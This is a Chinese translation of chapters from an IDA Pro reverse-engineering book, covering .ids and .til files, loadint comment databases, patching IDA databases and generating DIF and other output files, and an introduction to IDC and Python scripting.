在第八章中,我们讨论了类型库文件作为 IDA 存储复杂数据结构布局的机制。类型库文件也是 IDA 记录关于函数调用约定和参数序列信息的手段。IDA 以几种方式使用函数签名信息。首先,当一个二进制文件使用共享库时,IDA 无法知道那些库中的函数可能采用哪种调用约定。在这种情况下,IDA 试图将库函数与类型库文件中关联的签名进行匹配。如果找到匹配的签名,IDA 可以理解函数使用的调用约定,并根据需要调整栈指针(回想一下,stdcall函数会自行清理栈)。函数签名的第二种用途是使用注释来注释传递给函数的参数,这些注释表明在调用函数之前哪个参数被推入栈中。注释中包含的信息量取决于 IDA 能够解析的函数签名中包含的信息量。以下两个签名都是合法的 C 声明,尽管第二个提供了对函数的更多洞察,因为它除了数据类型外还提供了形式参数名称。

LSTATUS _stdcall RegOpenKey(HKEY, LPCTSTR, PHKEY);
LSTATUS _stdcall RegOpenKey(HKEY hKey, LPCTSTR lpSubKey, PHKEY phkResult);

IDA 的类型库包含大量常见 API 函数的签名信息,其中包括 Windows API 的大部分内容。这里展示了调用RegOpenKey函数的默认反汇编示例:

.text:00401006   00C      lea     eax, [ebp+hKey]
.text:00401009   00C      push    eax            ; phkResult
.text:0040100A   010      push    offset SubKey   ; "Software\\Hex-Rays\\IDA"
.text:0040100F   014      push    80000001h      ; hKey
.text:00401014   018      call    ds:RegOpenKeyA
.text:0040101A 00C       mov     [ebp+var_8], eax

注意,IDA 在右侧边栏添加了注释 图片,指明在调用RegOpenKey之前的每条指令中正在推送哪个参数。当函数签名中可用正式参数名称时,IDA 会尝试更进一步,并自动命名与特定参数对应的变量。在前面的示例 图片中的两个情况下,我们可以看到 IDA 已经根据与RegOpenKey原型中正式参数的对应关系命名了一个局部变量(hKey)和一个全局变量(SubKey)。如果解析的函数原型只包含类型信息而没有正式参数名称,那么前面示例中的注释将命名相应参数的数据类型而不是参数名称。对于lpSubKey参数,由于该参数恰好指向一个全局字符串变量,并且字符串内容正在使用 IDA 的重复注释功能显示,因此参数名称没有以注释的形式显示。最后,请注意,IDA 已将RegOpenKey识别为stdcall函数,并在返回时自动调整了堆栈指针 图片。所有这些信息都是从函数的签名中提取的,IDA 也会在适当的导入表位置将此信息作为注释显示在反汇编中,如下所示:

.idata:0040A000 ; LSTATUS __stdcall RegOpenKeyA(HKEY hKey,
 LPCSTR lpSubKey, PHKEY phkResult)
.idata:0040A000                 extrn RegOpenKeyA:dword ; CODE XREF: _main+14p
.idata:0040A000                                         ; DATA XREF: _main+14r

显示函数原型的注释来自包含 Windows API 函数信息的 IDA .til 文件。

在什么情况下你可能希望生成自己的函数类型签名?^([88]) 当你遇到一个与 IDA 没有函数原型信息的库动态或静态链接的二进制文件时,你可能希望为该库中包含的所有函数生成类型签名信息,以便为 IDA 提供自动注释你的反汇编的能力。此类库的例子可能包括常见的图形或加密库,这些库不是标准 Windows 分发的部分,但可能在广泛使用。OpenSSL 加密库就是这样一个库的例子。

正如我们能够在第八章中向数据库的本地 .til 文件添加复杂的数据类型信息一样,我们可以通过让 IDA 通过“文件”▸“加载文件”▸“解析 C 头文件”来解析一个或多个函数原型,将函数原型信息添加到同一个 .til 文件中。同样,你也可以使用 tilib.exe(见第八章)来解析头文件并创建独立的 .til 文件,这些文件可以通过将它们复制到 /til 中而全局可用。

当你恰好可以访问源代码,并允许 IDA(或tilib.exe)为你解析时,这一切都很好。不幸的是,比你想象的更常见的情况是,你无法访问源代码,但你仍然希望得到相同的高质量反汇编。如果你没有源代码来教育 IDA,你该如何进行?这正是 IDS 工具或idsutils的目的。IDS 工具是一组用于创建.ids文件的三个实用程序。我们首先讨论什么是.ids文件,然后转向创建我们自己的.ids文件。

手动覆盖清除的字节数

使用stdcall调用约定的库函数可能会对 IDA 的栈指针分析造成破坏。由于缺乏任何类型库或.ids文件信息,IDA 无法知道导入的函数是否使用了stdcall约定。这一点很重要,因为 IDA 可能无法正确跟踪没有调用约定信息的函数调用过程中的栈指针行为。除了知道一个函数使用了stdcall之外,IDA 还必须确切知道函数在完成时从栈中移除了多少字节。缺乏关于调用约定的信息,IDA 会尝试使用一种称为单纯形法的数学分析技术自动确定函数是否使用了stdcall。^([89]) 另外,用户也可以手动干预来指定自己清除的字节数。图 13-1 显示了用于导入函数的特定形式的函数编辑对话框。

编辑导入的函数

图 13-1. 编辑导入的函数

您可以通过导航到给定函数的导入表条目并编辑该函数来访问此对话框(编辑 ▸ 函数 ▸ 编辑函数,或 alt-P)。请注意,此特定对话框的功能有限(与图 7-7 中的编辑函数对话框相比)。因为这是一个导入的函数条目,IDA 无法访问函数的编译体,因此没有关于函数堆栈结构的关联信息,也没有函数使用 stdcall 约定的直接证据。缺乏此类信息,IDA 将清除字节字段设置为 −1,表示它不知道函数在返回时是否清除任何字节。在这种情况下,要覆盖 IDA,请输入清除字节的正确值,IDA 将将提供的信息纳入其堆栈指针分析中,无论关联函数何时被调用。对于 IDA 已知函数行为的情况(如图 13-1 所示),清除字节字段可能已经填写。请注意,此字段永远不会因单纯形方法分析而填写。

IDS 文件

IDA 使用 .ids 文件来补充其对库函数的了解。一个 .ids 文件通过列出库中包含的每个导出函数来描述共享库的内容。每个函数的详细信息包括函数的名称、其关联的序号,^([90])函数是否使用 stdcall,如果是,函数在返回时清除多少字节,以及在反汇编中引用函数时显示的可选注释。实际上,.ids 文件实际上是压缩的 .idt 文件,其中 .idt 文件包含每个库函数的文本描述。

当可执行文件首次加载到数据库中时,IDA 确定该可执行文件依赖的共享库文件。对于每个共享库,IDA 在/ids层次结构中搜索相应的.ids文件,以获取可执行文件可能引用的任何库函数的描述。重要的是要理解.ids文件不一定包含函数签名信息。因此,IDA 可能无法仅基于.ids文件中包含的信息提供函数参数分析。然而,当.ids文件包含有关函数使用的调用约定和函数从堆栈中清除的字节数的正确信息时,IDA 可以执行准确的堆栈指针会计。在 DLL 导出混淆名称的情况下,IDA 可能能够从混淆名称中推断出函数的参数签名,在这种情况下,当.ids文件被加载时,此信息变得可用。我们将在下一节中描述.idt文件的语法。在这方面,.til文件在反汇编函数调用方面包含更有用的信息,尽管生成.til文件需要源代码。

创建 IDS 文件

IDA 的idsutils工具用于创建.ids文件。这些工具包括两个库解析器,dll2idt用于从 Windows DLLs 中提取信息,以及ar2idt用于从 ar 风格的库中提取信息。在这两种情况下,输出都是一个文本.idt文件,每行包含一个导出函数,将导出函数的序号映射到函数的名称。.idt文件的语法非常直接,在idsutils提供的readme.txt文件中有描述。在.idt文件中的大多数行都用于根据以下方案描述导出函数:

  • 导出条目以一个正数开始。这个数字代表导出函数的序号。

  • 序号后面跟着一个空格,然后是一个Name指令,形式为Name=function,例如,Name=RegOpenKeyA。如果使用特殊的序号零,则Name指令用于指定当前.idt文件中描述的库的名称,例如在这个例子中:

    0 Name=advapi32.dll
    
  • 可以使用可选的Pascal指令来指定一个函数使用stdcall调用约定,并指示函数返回时从堆栈中移除多少字节。以下是一个示例:

    483 Name=RegOpenKeyA Pascal=12
    
  • 可以将可选的Comment指令附加到导出条目中,以指定在反汇编中每次引用函数时显示的注释。一个完成的导出条目可能看起来像以下这样:

    483 Name=RegOpenKeyA Pascal=12 Comment=Open a registry key
    

此外,可选指令在 idsutilsreadme.txt 文件中描述。idsutils 解析工具的目的尽可能自动化地创建 .idt 文件。创建 .idt 文件的第一步是获取你希望解析的库的副本;下一步是使用适当的解析工具解析它。如果我们想为与 OpenSSL 相关的库 ssleay32.dll 创建 .idt 文件,我们会使用以下命令:

$ `./dll2idt.exe ssleay32.dll`
Convert DLL to IDT file. Copyright 1997 by Yury Haron. Version 1.5
File: ssleay32.dll   ... ok

在这种情况下,成功的解析会产生一个名为 SSLEAY32.idt 的文件。输入文件名和输出文件名之间的大小写差异是由于 dll2idt 根据 DLL 本身包含的信息推导输出文件名。以下展示了生成的 .idt 文件的前几行:

ALIGNMENT 4
;DECLARATION
;
0 Name=SSLEAY32.dll
;
121 Name=BIO_f_ssl
173 Name=BIO_new_buffer_ssl_connect
122 Name=BIO_new_ssl
174 Name=BIO_new_ssl_connect
124 Name=BIO_ssl_copy_session_id

注意,解析器无法确定一个函数是否使用 stdcall 以及如果是的话,从堆栈中清除了多少字节。任何 PascalComment 指令的添加都必须在创建最终的 .ids 文件之前手动使用文本编辑器执行。创建 .ids 的最终步骤是使用 zipids 工具压缩 .idt 文件,然后将生成的 .ids 文件复制到 /ids

$ `./zipids.exe SSLEAY32.idt`
File: SSLEAY32.idt   ... {219 entries [0/0/0]}          packed
$ cp SSLEAY32.ids ../Ida/ids

在这一点上,IDA 在加载链接到 ssleay32.dll 的任何二进制文件时都会加载 SSLEAY32.ids。如果你选择不将新创建的 .ids 文件复制到 /ids,你可以通过 File ▸ Load File ▸ IDS File 在任何时间加载它们。

使用 .ids 文件的一个附加步骤允许你将 .ids 文件链接到特定的 .sig 或 .til 文件。当你选择 .ids 文件时,IDA 使用名为 /ida/idsnames 的 IDS 配置文件。此文本文件包含允许以下操作的行:

  • 将共享库名称映射到相应的 .ids 文件名。这允许 IDA 在共享库名称不能干净地映射到 MS-DOS 风格的 8.3 文件名时定位正确的 .ids 文件,如下所示:

    libc.so.6     libc.ids      +
    
  • 将 .ids 文件映射到 .til 文件。在这种情况下,IDA 在加载指定的 .ids 文件时自动加载指定的 .til 文件。以下示例会在加载 SSLEAY32.ids 时加载 openssl.til(有关语法细节,请参阅 idsnames):

    SSLEAY32.ids    SSLEAY32.ids      +   openssl.til
    
  • 将 .sig 文件映射到相应的 .ids 文件。在这种情况下,IDA 在将命名的 .sig 文件应用于反汇编时加载指定的 .ids 文件。以下行指示 IDA 在用户应用 libssl.sig FLIRT 签名时加载 SSLEAY32.ids

    libssl.sig      SSLEAY32.ids      +
    

在 第十五章 中,我们将探讨 idsutils 提供的库解析器的脚本化替代方案,并利用 IDA 的函数分析功能生成更详细的 .idt 文件。


^([87]) 查看 www.hex-rays.com/idapro/idadown.htm。需要有效的 IDA 用户名和密码。

^([88]) 在这个例子中,我们使用术语签名来指代函数的参数类型(s)、数量和顺序,而不是匹配编译函数的代码模式。

^([89]) 简单形法(simplex method)的使用,如 IDA 版本 5.1 中介绍的那样,在 Ilfak 的博客文章中有描述:www.hexblog.com/2006/06/.

^([90]) 序列号是一个与每个导出函数关联的整数索引。使用序列号允许通过整数查找表而不是通过较慢的字符串比较函数名来定位函数。

使用 loadint 增强预定义注释

在 第七章 中,我们介绍了 IDA 的 自动注释 概念,当启用时,会导致 IDA 显示描述每个汇编语言指令的注释。以下列表显示了此类注释的两个示例:

.text:08048654                 lea     ecx, [esp+arg_0] ; Load Effective Address
.text:08048658                 and     esp, 0FFFFFFF0h ; Logical AND

这些预定义注释的来源是文件 /ida.int,其中注释首先按 CPU 类型排序,其次按指令类型排序。当自动注释开启时,IDA 会搜索与反汇编中每个指令关联的注释,并在它们存在于 ida.int 中时在右侧显示。

loadint^([91]) 工具提供您修改现有注释或向 ida.int 添加新注释的能力。与其他我们讨论过的附加工具一样,loadintloadint 分发中包含的 readme.txt 文件中有文档说明。loadint 分发还包含所有 IDA 处理器模块的预定义注释,形式为多个 .cmt 文件。修改现有注释是一个简单的过程,包括定位与您感兴趣的处理器相关的注释文件(例如,pc.cmt 用于 x86),修改您希望修改的任何注释的文本,运行 loadint 重新创建 ida.int 注释文件,最后将生成的 ida.int 文件复制到您的 IDA 主目录中,下次启动 IDA 时将加载它。重建注释数据库的简单运行如下所示:

$ `./loadint comment.cmt ida.int`
Comment base loader. Version 2.04\. Copyright (c) 1991-2011 Hex-Rays

17566 cases, 17033 strings, total length: 580575

您可能希望进行的更改示例包括修改现有注释或为没有分配注释的指令启用注释。例如,在 pc.cmt 文件中,一些更常见的指令被注释掉,以防止在自动注释开启时生成过多的注释。以下是从 pc.cmt 中提取的行,展示了 x86 mov 指令默认不生成注释:

NN_ltr:                 "Load Task Register"
//NN_mov:               "Move Data"
NN_movsp:               "Move to/from Special Registers"

如果您希望为 mov 指令启用注释,您将取消中间行的注释,并按之前详细说明的方式重建注释数据库。

loadint 的文档中有一个隐藏的注释指出,loadint 必须能够定位到与你的 IDA 发行版一起提供的文件 ida.hlp。如果你收到以下错误信息,你应该将 ida.hlp 复制到你的 loadint 目录中,然后重新运行 loadint

$ `./loadint comment.cmt ida.int`
Comment base loader. Version 2.04\. Copyright (c) 1991-2011 Hex-Rays
Can't initialize help system.
File name: 'ida.hlp', Reason: can't find file (take it from IDA distribution).

或者,你可以使用 loadint-n 开关来指定 <IDADIR> 的位置,如下面的命令行所示:

$ ./loadint -n <IDADIR> comment.cmt ida.int

文件 comment.cmt 作为 loadint 过程的主输入文件。该文件的语法在 loadint 文档中描述。简而言之,comment.cmt 创建从处理器类型到关联注释文件的映射。各个处理器特定的注释文件反过来指定从特定指令到每个指令的关联注释文本的映射。整个过程由几组枚举(C 风格枚举)常量控制,这些常量定义了所有处理器类型(在 comment.cmt 中找到)和每个处理器的所有可能的指令(在 allins.hpp 中找到)。

如果你想要为全新的处理器类型添加预定义的注释,这个过程比简单地更改现有注释要复杂一些,并且与创建新处理器模块的过程(见 第十九章)相当紧密相关。在不深入处理器模块的情况下,为全新的处理器类型提供注释需要你首先在 allins.hpp 中创建一个新的枚举常量集(与你的处理器模块共享),为感兴趣的指令集中的每个指令定义一个常量。其次,你必须创建一个注释文件,将每个枚举指令常量映射到其关联的注释文本。第三,你必须为你的处理器类型定义一个新的常量(再次,与你的处理器模块共享),并在 comment.cmt 中创建一个条目,将你的处理器类型映射到其关联的注释文件。完成这些步骤后,你必须运行 loadint 来构建一个新的注释数据库,该数据库包含你的新处理器类型及其关联的注释。


^([91]) 当前版本是 loadint61.zip

摘要

虽然 idsutilsloadint 可能看起来对你来说并不立即有用,但一旦你开始超出 IDA 更常见的使用案例,你就会学会欣赏它们的性能。对于相对较少的时间投入,创建单个 .ids 或 .til 文件可以在你未来项目中遇到那些文件描述的库时节省你无数小时。请记住,IDA 无法为所有存在的库提供描述。本章中涵盖的工具的预期目的是在你偏离 IDA 的常规路径时,为你提供灵活性,以解决 IDA 库覆盖的空白。

第十四章. 修补二进制文件和其他 IDA 限制

无标题图片

新手或潜在 IDA 用户最常问的问题之一是“我如何使用 IDA 来修补二进制文件?”简单的回答是“你不能。”IDA 的预期目的是通过提供最佳的反汇编功能来帮助您理解二进制文件的行为。IDA 并非设计来让您轻松修改正在检查的二进制文件。不愿意接受“不”作为答案的顽固修补者通常会接着问“编辑 ▸ 补丁程序菜单是什么?”和“文件 ▸ 生成文件 ▸ 创建 EXE 文件”有什么作用?”在本章中,我们将讨论这些明显的异常情况,看看我们是否能说服 IDA 至少在开发二进制程序文件的补丁方面提供一些帮助。

声名狼藉的补丁程序菜单

首次在第十一章中提到,编辑 ▸ 补丁程序菜单是 IDA 图形界面版本中的一个隐藏功能,必须通过编辑 idagui.cfg 配置文件来启用(补丁菜单在 IDA 控制台版本中默认可用)。图 14-1 显示了编辑 ▸ 补丁程序子菜单中的选项。

补丁程序子菜单

图 14-1. 补丁程序子菜单

每个子菜单项都让您觉得您将能够以可能有趣的方式修改二进制文件。实际上,这些选项提供的是三种不同的修改数据库的方法。实际上,这些菜单项,可能比其他任何菜单项都更能清楚地说明 IDA 数据库和创建数据库的二进制文件之间的区别。一旦创建数据库,IDA 从不引用原始二进制文件。考虑到其真实行为,这个菜单项更恰当地命名为 修补数据库

然而,并非一切都已失去,因为图 14-1 中的菜单选项确实提供了观察您可能对原始二进制文件进行更改后效果的最简单方法。在本章的后面部分,您将学习如何导出您所做的更改,并最终使用这些信息来修补原始二进制文件。

修改单个数据库字节

编辑 ▸ 补丁程序 ▸ 修改字节菜单选项用于编辑 IDA 数据库中的一个或多个字节值。图 14-2 显示了相关的字节编辑对话框。

修改字节对话框

图 14-2. 修改字节对话框

对话框显示从当前光标位置开始的 16 字节值。您可以更改显示的字节的一部分或全部,但如果不关闭对话框、将光标重新定位到数据库中的新位置并重新打开对话框,则不能更改超过第 16 个字节。请注意,对话框显示您正在更改的字节的虚拟地址和文件偏移量值。此文件偏移量值反映了字节在原始二进制文件中的十六进制偏移量。如果确实希望为原始二进制文件开发修补程序,那么 IDA 保留数据库中每个字节的原始文件偏移量信息将是有用的。最后,无论对数据库中的字节进行了多少更改,对话框的“原始值”字段始终显示加载到数据库中的原始字节值。没有自动化的功能可以撤销更改到原始字节值,尽管可以创建一个 IDA 脚本来执行此任务。

在 IDA 5.5 中,通过引入一个功能更强大的十六进制视图窗口(见第五章显示了 IDA 的单词修补对话框,它一次只能修补一个 2 字节的单词。

单词修补对话框

图 14-3. 单词修补对话框

与字节修补对话框一样,虚拟地址和文件偏移量都会显示。需要记住的一个重要点是,单词值使用底层处理器的自然字节顺序来显示。例如,在 x86 反汇编中,单词被视为小端值,而在 MIPS 反汇编中,单词被视为大端值。在输入新的单词值时请记住这一点。与字节修补对话框一样,“原始值”字段始终显示从原始二进制文件加载的初始值,无论单词值可能使用单词修补对话框进行了多少次修改。与字节编辑一样,在 IDA 的十六进制视图窗口中进行编辑可能更容易。

使用汇编对话框

从 Patch 程序菜单中可访问的最有趣的选项可能是 Assemble 选项(编辑 ▸ Patch 程序 ▸ Assemble)。不幸的是,这个功能并非对所有处理器类型都可用,因为它依赖于当前处理器模块中存在内部汇编器功能。例如,已知 x86 处理器模块支持汇编,而 MIPS 处理器模块则不支持汇编。当汇编器不可用时,您将收到一个错误消息,内容为:“抱歉,此处理器模块不支持汇编器。”

Assemble 选项允许您输入汇编语言语句,这些语句将使用内部汇编器进行汇编。生成的指令字节随后将被写入当前屏幕位置。图 14-4 显示了用于指令输入的 Assemble 指令对话框。

Assemble 指令对话框

图 14-4. Assemble 指令对话框

您可以一次将一条指令输入到指令字段中。IDA 的 x86 处理器模块的汇编器组件接受与 x86 反汇编列表中使用的相同语法。当您点击“确定”(或按回车键)时,您的指令将被汇编,相应的指令字节将被输入到数据库中,从地址字段中显示的虚拟地址开始。内部 IDA 汇编器允许您在指令中使用符号名称,只要这些名称存在于程序中。例如,mov [ebp+var_4], eaxcall sub_401896这样的语法是合法的,汇编器将正确解析符号引用。

输入指令后,对话框保持打开状态,准备接受在之前输入指令的虚拟地址立即之后的新的指令。当您输入额外的指令时,对话框在先前的指令字段中显示之前输入的指令。

当输入新指令时,您必须注意指令对齐,尤其是在您要输入的指令长度与替换的指令不同时。当新指令比替换的指令短时,您需要考虑如何处理旧指令留下的多余字节(插入 NOP^([92])指令是一个可能的选项)。当新指令比替换的指令长时,IDA 将覆盖后续指令所需的字节,以适应新指令。这可能是也可能不是您想要的行为,这就是为什么在使用汇编器修改程序字节之前进行仔细规划是必要的。一种看待汇编器的方式是将其视为处于覆盖模式的文字处理器。没有简单的方法在不覆盖现有指令的情况下打开空间来插入新指令。

重要的是要记住,IDA 的数据库修补功能仅限于小型、简单的修补,这些修补可以轻松地适应数据库中的现有空间。如果你有一个需要大量额外空间的修补,你需要找到在原始二进制文件中分配但未被使用的空间。这种空间通常以填充的形式存在,由编译器插入,以使二进制文件的各个部分对齐到特定的文件边界。例如,在许多 Windows PE 文件中,各个程序部分必须从文件偏移量为 512 字节的倍数的位置开始。当一个部分不消耗 512 字节的偶数倍空间时,该部分必须在文件中进行填充,以保持下一个部分的 512 字节边界。以下是从反汇编的 PE 文件中的几行展示了这种情况:

.text:0040963E     ; [00000006 BYTES: COLLAPSED FUNCTION
 RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
.text:00409644                    align 200h
.text:00409644     _text           ends
.text:00409644
.idata:0040A000     ; Section 2\. (virtual address 0000A000)

在这种情况下,IDA 正在使用对齐指令 来指示该部分被填充到从地址 .text:00409644 开始的 512 字节(200h)边界。填充的上限是下一个 512 字节的倍数,即 .text:00409800。填充区域通常由编译器填充为零,并在十六进制视图中非常突出。在这个特定的二进制文件中,文件内部有空间可以插入多达 444(0x1BC = 409800h – 409644h)字节的修补程序数据,这将覆盖.text部分末尾的一些或全部零填充。你可能可以将函数修补到这个二进制区域的某个位置,执行新插入的程序指令,然后跳回原始函数。

注意,二进制文件中的下一个部分,即.idata部分,实际上直到地址 .idata:0040A000 才开始。这是由于内存(而非文件)对齐限制的结果,该限制要求 PE 部分以 4Kb(一个内存页)边界开始。理论上,应该可以在内存范围 00409800-0040A000 中注入额外的 2,048 字节修补数据。这样做困难之处在于,可执行文件的磁盘映像中不存在对应这个内存范围的字节。为了使用这个空间,我们需要执行比简单覆盖原始二进制文件部分更复杂的操作。首先,我们需要在现有.text部分的末尾和.idata部分的开始之间插入一个 2,048 字节的 数据块。其次,我们需要调整 PE 文件头中.text部分的大小。最后,我们需要调整.idata和 PE 头中所有后续部分的位置,以反映所有后续部分现在都位于文件中 2,048 字节更深的位置。这些更改可能听起来并不复杂,但它们需要一些细节关注和良好的 PE 文件格式知识。


^([92]) NOP代表无操作,是一种常用于在程序中填充空间的指令。

IDA 输出文件和补丁生成

IDA 中更有趣的菜单选项之一是“文件”▸“生成文件”菜单。根据此菜单上的选项,IDA 可以生成 MAP、ASM、INC、LST、EXE、DIF 和 HTML 文件。其中许多听起来很有趣,因此以下各节将分别描述每个选项。

IDA 生成的 MAP 文件

.map文件描述了二进制文件的整体布局,包括组成二进制文件的节的信息以及每个节中符号的位置。在生成.map文件时,您将被要求输入您希望创建的文件名以及您希望在.map文件中存储的符号类型。图 14-5 显示了 MAP 文件选项对话框,其中您可以选择要包含在.map文件中的信息。

MAP 文件生成选项

图 14-5. MAP 文件生成选项

.map文件中的地址信息使用逻辑地址表示。逻辑地址使用段号和段偏移来描述符号的位置。以下列出的简单.map文件的前几行显示了。在这个列表中,我们展示了三个段和许多符号中的前两个。_fprintf的逻辑地址表明它位于第一个(.text)段的字节偏移69h处。

Start         Length     Name                   Class
 0001:00000000 000008644H .text                  CODE
 0002:00000000 000001DD6H .rdata                 DATA
 0003:00000000 000002B84H .data                  DATA

  Address         Publics by Value

 0001:00000000       _main
 0001:00000069       _fprintf

由 IDA 生成的 MAP 文件与 Borland 的 Turbo Debugger 兼容。.map文件的主要目的是在调试可能已被删除的二进制文件时帮助恢复符号名称。

IDA 生成的 ASM 文件

IDA 可以从当前数据库生成一个.asm文件。一般思路是创建一个可以通过汇编器运行的文件,以重新创建底层二进制文件。IDA 试图转储足够的信息,包括结构布局等,以便成功汇编。您是否能够成功汇编生成的.asm文件取决于许多因素,其中最重要的是您的汇编器是否理解 IDA 使用的语法。

目标汇编语言语法由“选项”▸“常规”菜单下的“分析”选项卡中的目标汇编器设置确定。默认情况下,IDA 会生成一个代表整个数据库的汇编文件。然而,您可以通过点击和拖动或使用 shift-up 箭头或 shift-down 箭头滚动并选择您希望转储的区域来限制列表的范围。在 IDA 的控制台版本中,您将使用锚点(alt-L)命令在所选区域的开始设置一个锚点,然后使用箭头键来扩展区域的大小。

IDA 生成的 INC 文件

INC(包含)文件包含数据结构和枚举数据类型的定义。这本质上是将结构窗口的内容以适合汇编器消费的形式导出的一个转储。

IDA 生成的 LST 文件

LST 文件不过是 IDA 反汇编窗口内容的文本文件转储。你可以通过选择要转储的地址范围来缩小生成列表的范围,正如之前为 ASM 文件所描述的那样。

IDA 生成的 EXE 文件

虽然这是最有前途的菜单选项,但遗憾的是它也是最不健全的。简而言之,它对大多数文件类型不起作用,你可能会收到一个错误消息,指出,“不支持此类输出文件。”

虽然这对于修补器来说是一个理想的功能,但通常从 IDA 数据库中重新生成可执行文件是非常困难的。你在一个 IDA 数据库中看到的信息主要由组成原始输入文件的段的内容组成。然而,在许多情况下,IDA 并不处理输入文件的每个部分,当文件被加载到数据库中时,某些信息会丢失,这使得从数据库中生成可执行文件成为不可能。这种损失的最简单例子是,IDA 默认不加载 PE 文件的资源(.rsrc)部分,这使得从数据库中恢复资源部分成为不可能。

在其他情况下,IDA 处理原始二进制文件的信息,但并不以原始形式使其易于访问。例如,包括符号表、导入表和导出表,这些需要相当大的努力才能正确重建,以便生成一个功能性的可执行文件。

为 IDA 提供 EXE 生成能力的一个尝试是 Atli Mar Gudmundsson 的 pe_scripts^([93)). 这些是一套用于处理 PE 文件的 IDA 脚本。其中有一个脚本名为pe_write.idc,其目标是从一个现有的数据库中转储一个可工作的 PE 镜像。如果你打算修补 PE 文件,使用脚本的正确事件顺序如下:

  1. 将所需的 PE 文件加载到 IDA 中。确保你在加载对话框中取消选中创建导入部分选项。

  2. 运行包含的pe_sections.idc脚本,将原始二进制文件中的所有部分映射到新数据库中。

  3. 对数据库进行任何所需的更改。

  4. 执行pe_write.idc脚本,将数据库内容转储到新的 PE 文件中。

使用 IDC 进行脚本编写是第十五章的主题。

IDA 生成的 DIF 文件

IDA DIF 文件是一个明文文件,列出了在 IDA 数据库中已修改的所有字节。如果你的目标是基于对 IDA 数据库所做的更改修补原始二进制文件,这是最有用的文件格式。文件格式相当简单,如这里示例的.dif文件所示:

This difference file is created by The Interactive Disassembler

dif_example.exe
000002F8: 83 FF
000002F9: EC 75
000002FA: 04 EC
000002FB: FF 68

该文件包含一行头部注释,随后是原始二进制文件的名称,然后是文件中已更改的字节列表。每一行更改指定了更改字节的文件偏移量(不是虚拟地址),原始字节的值以及数据库中当前字节的值。在这个例子中,dif_example.exe 的数据库在原始文件中的四个位置被修改,对应于字节偏移量 0x2F80x2FB。编写一个程序来解析 IDA .dif 文件并将更改应用到原始二进制文件以生成修补版本的二进制文件是一个简单任务。此类实用程序可在本书的配套网站上找到。94]

IDA 生成的 HTML 文件

IDA 利用 HTML 提供的标记功能来生成彩色反汇编列表。一个由 IDA 生成的 HTML 文件本质上是一个带有 HTML 标签的 LST 文件,以产生一个与实际 IDA 反汇编窗口颜色相似的列表。不幸的是,生成的 HTML 文件不包含任何超链接,这会使导航文件比使用标准文本列表更容易。例如,一个有用的功能是添加所有名称引用的超链接,这将使跟踪名称引用变得像跟随链接一样简单。


^([93]) 查看 www.hex-rays.com/idapro/freefiles/pe_scripts.zip

^([94]) 查看 www.idabook.com/chapter14/ida_patcher.c

摘要

IDA 不是一个二进制文件编辑器。每次您考虑使用 IDA 修补二进制文件时,请记住这一点。然而,它是一个特别好的工具,可以帮助您输入和可视化潜在更改。通过熟悉 IDA 的全部功能,并将 IDA 可以生成的信息与适当的脚本或外部程序结合,二进制修补变得容易可行。

在接下来的章节中,我们将介绍许多扩展 IDA 功能的方法。对于任何希望充分利用 IDA 功能的人来说,基本的脚本技能和对 IDA 插件架构的理解是必不可少的,因为它们为您提供了在任何您觉得 IDA 缺乏功能的地方添加行为的能力。

第四部分. 扩展 IDA 的功能

第十五章. IDA 脚本

无标题图片

这是一个简单的事实,没有任何应用程序能够满足每个用户的每个需求。根本无法预测可能出现的每一个潜在用例。应用程序开发者面临着回应无休止的功能请求或为用户提供解决他们自己问题的手段的选择。IDA 采取了后一种方法,通过集成脚本功能,允许用户对 IDA 的操作进行大量的程序性控制。

脚本的可能用途无限,可以从简单的单行命令到完整的程序,这些程序可以自动化常见任务或执行复杂分析功能。从自动化的角度来看,IDA 脚本可以被视为宏,^([95])而从分析的角度来看,IDA 的脚本语言作为查询语言,提供了对 IDA 数据库内容的程序性访问。IDA 支持使用两种不同的语言进行脚本编写。IDA 的原始、嵌入式脚本语言命名为IDC,可能是因为其语法与 C 语言非常相似。自 IDA 5.4 版本发布以来,^([96))通过集成 Gergely Erdelyi 的 IDAPython 插件,也支持了与 Python 的集成脚本。在本章的剩余部分,我们将介绍编写和执行 IDC 和 Python 脚本的基本知识,以及一些对脚本作者更有用的函数。

基本脚本执行

在深入了解任何脚本语言之前,了解脚本最常见的执行方式是有用的。有三个菜单选项,文件▸脚本文件、文件▸IDC 命令和文件▸Python 命令^([98]),可用于访问 IDA 的脚本引擎。选择文件▸脚本文件表示您希望运行一个独立的脚本,此时您将看到一个文件选择对话框,允许您选择要运行的脚本。每次运行新的脚本时,程序都会添加到最近脚本列表中,以便轻松编辑或重新运行脚本。图 15-1 显示了通过视图▸最近脚本菜单选项可访问的最近脚本窗口。

最近脚本窗口

图 15-1. 最近脚本窗口

双击列表中的脚本会导致脚本执行。一个弹出式、上下文相关的菜单提供了从列表中删除脚本或使用在“选项”▸“常规”选项卡下指定的编辑器打开脚本进行编辑的选项。

作为执行独立脚本文件的替代方案,你可以选择使用“文件”▸“IDC 命令”或“文件”▸“Python 命令”打开脚本输入对话框。图 15-2 显示了由此产生的脚本输入对话框(在这种情况下为 IDC 脚本),在只想执行几个语句而不想麻烦创建独立脚本文件的情况下非常有用。

脚本输入对话框

图 15-2. 脚本输入对话框

对可以在脚本对话框中输入的语句类型有一些限制,但对话框在创建完整的脚本文件过于繁琐的情况下非常有用。

执行脚本命令的最后一种简单方法是使用 IDA 的命令行。命令行仅在 IDA 的 GUI 版本中可用,其存在由DISPLAY_COMMAND_LINE选项在*<IDADIR>/cfg/idagui.cfg中的值控制。自 IDA 5.4 以来,命令行默认启用。图 15-3 显示了命令行在 IDA 工作区左下角输出窗口下方的外观。

IDA 命令行

图 15-3. IDA 命令行

将用于执行命令行的解释器标签位于命令行输入框的左侧。在图 15-3 中,命令行被配置为执行 IDC 语句。点击此标签将打开图 15-3 中显示的弹出菜单,允许将 IDC 或 Python 解释器与命令行关联。

尽管命令行只包含一行文本,但你可以通过分号分隔每个语句来输入多个语句。为了方便,可以使用上箭头键访问最近命令的历史记录。如果你发现自己经常需要执行非常短的脚本,你会发现命令行非常有用。

在掌握了执行脚本的基本能力之后,现在是时候关注 IDA 提供的两种脚本语言的细节了,即 IDC 和 Python。我们首先描述 IDA 的本地脚本语言 IDC,然后讨论 IDA 的 Python 集成,这将严重依赖于以下 IDC 部分建立的基础。


^([95]) 许多应用程序提供允许用户将一系列操作记录到一个称为的单一复杂操作中的功能。重新播放或触发宏会导致记录的所有步骤序列被执行。宏提供了一种自动化复杂操作序列的简单方法。

